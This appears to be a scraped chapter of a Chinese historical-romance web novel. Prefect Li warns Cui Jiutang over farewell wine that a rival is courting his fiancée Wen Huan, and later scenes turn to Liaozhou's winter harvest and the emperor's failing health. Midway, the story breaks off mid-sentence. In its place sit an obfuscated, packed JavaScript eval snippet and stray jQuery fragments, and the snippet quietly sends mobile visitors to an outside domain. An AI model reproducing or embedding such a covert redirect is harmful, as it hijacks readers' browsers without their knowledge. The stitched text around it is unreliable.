辽州的刺史与长史都换了人。


    李刺史因着当年发现了煤矿，并首创了双人下井的模式，不仅增加了采矿效率，还提高了工人们下矿的生存率。


    虽说后来被诚王设计，出了两次地龙翻身的事件，因此封了矿山，他也因此遭到了百姓的排斥。


    可不得不说，他依旧为辽州百姓做出了许多贡献，故而这一次他在任期满了后，圣上便下旨，将他调遣至江南的一个州做刺史，虽说官职未变，可是毕竟是在江南任职，比在这苦寒的辽州好了不知多少倍，对于李刺史来说，也算是好事一桩。


    崔九堂到达辽州的第三日，刚好是李刺史准备去江南赴任的日子。


    李刺史这个人，无儿无女，高堂与正妻在前些年去世了，他只有一府的姬妾和两三个衷心的老仆，故而收整行李也极为省心，不过一辆马车，便可将他的所有行当尽数装备完毕。


    至于那些姬妾，大多数也是纳入府中装个样子的。


    前些年因着矿山坍塌的事情，他被辽州的百姓们伤了心，从此不问政务，只一心在府中寻欢作乐。


    更是为了装出一副昏庸无道的样子，纳了数名姬妾入府。可他并没有碰过那些女子，故而此次去江南赴任前，他也提前将那些女子们安排好了人家，并分别给了一大笔安身立命的钱。


    一切打理完毕，李刺史派人给崔九堂送了信，约他在酒楼一见。


    二人因着找寻军中细作一事，关系也算是熟稔了，即便李刺史不说，崔九堂也备下了宴席，为他庆贺一番。


    几盏酒下肚，二人便如多年好友一般，推心置腹起来。


    李刺史自己本就是个不可多得的人才，有才能的人在一处，总是会身出一些惺惺相惜之感。


    李刺史语重心长的拍了拍崔九堂的肩膀，打趣道，“崔老弟，我是当真佩服你，小小年纪便如此胸襟与胆魄，若我有个女儿，定然愿意将她许配于你，奈何已然被文姑娘捷足先登了。”


    崔九堂闻言，笑的有些苦涩。


    李刺史本也是开玩笑，可没想到他竟露出这样一副神情惨然的模样，一时间有些好奇，开口道，“都快要做新郎的人了，怎么还笑得如此勉强？难不成文姑娘非你心中所属？崔老弟心中还装有其他的佳人吗？”


    崔九堂摇了摇头，笑意又淡了几分，那神情中竟然有些许说不出的寂寥。


    “非也，落花有意随流水，流水无心恋落花。”


    李刺史一听这话，便感觉到他与未婚妻之间怕是有些什么龃龉，也不由得皱了皱眉。


    文姑娘他见过，并且也短暂的相处过一段时日，这姑娘不似其他的大家闺秀，只懂得一些宅院中的东西，相反，这是一个有大智慧的姑娘，兵法计谋等无一不通，与崔公子可算是绝配。


    这样的佳人即便是定了亲，也免不得招人惦记，那皇商白家的当家人，对文姑娘的那片心思真是昭然若揭。想到这里，李刺史觉得自己有必要提醒崔九堂一下，免得他被人挖了墙角还不知道原因。


    于是，他清了清嗓门，“文姑娘是个不可多得的妙人，你二人年纪小，偶尔意见不合，有些争吵也是在所难免的。只是大丈夫当多多包容，姑娘既然与你定了亲，即便有其他的心思，你也当及时将它扼杀在摇篮中。当年我与我的老妻也是这般过来的。”


    李刺史见他听的认真，于是也细细说了起来。


    “你别看我这般模样，我老妻当年那可是艳冠满州县的美人，那时我与她家中有故，于是早早的便与她定下了亲事，可谁知道她居然有个年纪相仿的表哥与她青梅竹马，离我二人大婚还有十日的时候，她那表哥居然与我老妻表明心意，只说若是她愿意，即便被家中驱赶责骂，也定要让她幸福。”


    崔九堂听得入了神，忙问他然后呢？


    李刺史得意的笑了笑，轻轻抚弄着下巴上的胡须。“自然是用我这三寸不烂之舌和雷厉风行的行动力，将我那老妻感动的梨花带雨，最终老李我抱得美人归，那表哥早不知去了哪里娶妻生子了。”


    崔九堂佩服地敬了他一杯酒，虽然不知道他与自己说这事情是出于何种目的。


    李刺史话锋一转，语重心长地对他道，”文姑娘无论从品貌还是才学上来看，都是个不可多得的好姑娘，你一定要牢牢的把握住，及时断了他人念想，日子久了，姑娘也自然知道你的好。要我说，你也别这么闷，没事的时候多约一约姑娘出去踏春游玩，甜言蜜语也别吝啬，你若是不做，多得是人愿意去做。”


    崔九堂这才从他的话中听出来了一丝不对劲的意思，他眉头紧拧，面色也带了些寒意。


    “老李，我知道你为我好，你有话就直说，我承受得住。”


    李刺史长叹一口气，“那个白家的，叫什么白易之的，对你那小未婚妻殷勤的怕是有些过了头，你之前在军中忙于庶务的时候，他可是一刻钟的也没闲着。”


    “那段时日，你与文都尉在军中忙得分身乏术，文姑娘有一次大半夜的病了，当时城中戒严，若想出城，得要有官府的文书才行，白家那小子不知道费了多少银钱关系，找到到了我跟前，只为了给文姑娘请城外那位肖郎中看病，若是说他对文姑娘没有心思，我这个李字可是要倒着写了。”


    崔九堂从来不知道竟然还有这样的一件事情，他也知道白易之对文欢有意，只是不知道文欢对他是不是也有一样的意思在里面。


    这场宴席接下来的时光里，崔九堂都有些明显的心不在焉，李刺史也看出来了，于是又语重心长的嘱咐了他一番后便结束了这场宴席。


    崔九堂内心有些沉重，他本来以为文欢不愿与自己成婚，可能确实是因为内心过不去那道坎，但他从未想过，文欢也有可能是因为喜欢上了别人，又不好意思与自己说的太过于直白。


    那么自己前些日子里强迫般地与她亲密，在她看来，岂不是小人行径，令她更加恶心？


    从他这次回到辽州，崔母


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061799|162271||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    边看出来他心情不甚好。虽然每日里照常处理公务、用饭、与人攀谈，可不知为何，总是能从他的笑容里感受到一丝苦意。


    她好几次想要与儿子聊上几句，试图找出他心情不好的原因，可每次都被崔九堂以其他原因岔开了话题。


    *


    又是一个冬日，北地的风雪再次肆虐而来，呼啸卷席着这一片广袤的土地。


    而辽州的百姓们并不似往年那般，冒着风雪上山砍柴或是打猎来换些银钱供全家挨过这个冬日。相反，百姓们都穿上了厚实的棉衣，在家中窝冬，即便偶尔要出门，也是去邻居家串门闲聊，或是走亲访友。


    崔九堂终于将圣上颁布的命令一一实施了下去，并且获得了不菲的成果。


    圣上命稽农司培育出了一种水稻，一季便可收成。


    崔九堂在到达辽州的第二日，便将这件事请吩咐办了下去，用秋收后的土地播种了这种新的水稻种子，并且在第一场雪来临之前获得了丰收。


    这种水稻的产量并不比以往的水稻产量多，但是它的生长周期快，又耐严寒，即便是在辽州的深秋也能够茁壮成长。


    圣上又亲自派了军队和亲兵前来看守那座金矿山的挖掘，挖出的金矿，也按照之前与崔九堂说好的比例，拨了一部分给辽州的官府，用于百姓生计的维持。加之那座源源不断能挖掘出煤炭的矿山，辽州百姓们终于找到了生路。


    于是从下第一场雪开始，百姓们便都纷纷停下了手中的活计，在家中窝冬，等待春日的到来。


    崔九堂则是一日不得闲，每日不是前往矿场，监督挖掘的进度，就是去城中的米粮铺子里，看有没有人从中抬高价格、谋获私利，一时间倒是冲淡了一些离别的愁绪与担忧。


    *


    文欢这些日子里在京中过的的也极为平淡，她本来惶恐了一段日，生怕崔九堂会暴露她是重生这一件事情，可是过了许久也并未传出任何消息，父亲母亲与兄长也是一如既往的对待她，她的心也渐渐定了下来。


    过了中秋之后，兄长便也回了辽州，她本来也想一同前往，想要去看望看望祖母，其实他心中隐隐的冒出一个念头，想去看看他现在过得如何。


    不知为何，这次，他走后再也没有给自己来过信。


    文欢本来还有些轻松，毕竟她还没有想好要怎么面对他，可日子久了，这份欣喜逐渐变为了失望，她也说不清楚自己究竟是怎么了，但只要一想到他日后会与别人成亲生子，心中便会涌起一股压抑不住的烦闷。


    不过这几个月，京城倒是发生了一件大事情。


    圣上自从上次中蛊后，身体便有些虚弱，虽说司徒月为圣上解了蛊，可是毕竟蛊毒伤身，今年冬日，圣上有好几次私下里宣司徒月进宫，为他照看身体。


    司徒月回来后，悄悄对文欢说过，圣上的身体内里空虚，需要去南方有温泉的地方，仔细调理个三年五载，否则以现在的情况来看，不出一年，丧钟必响。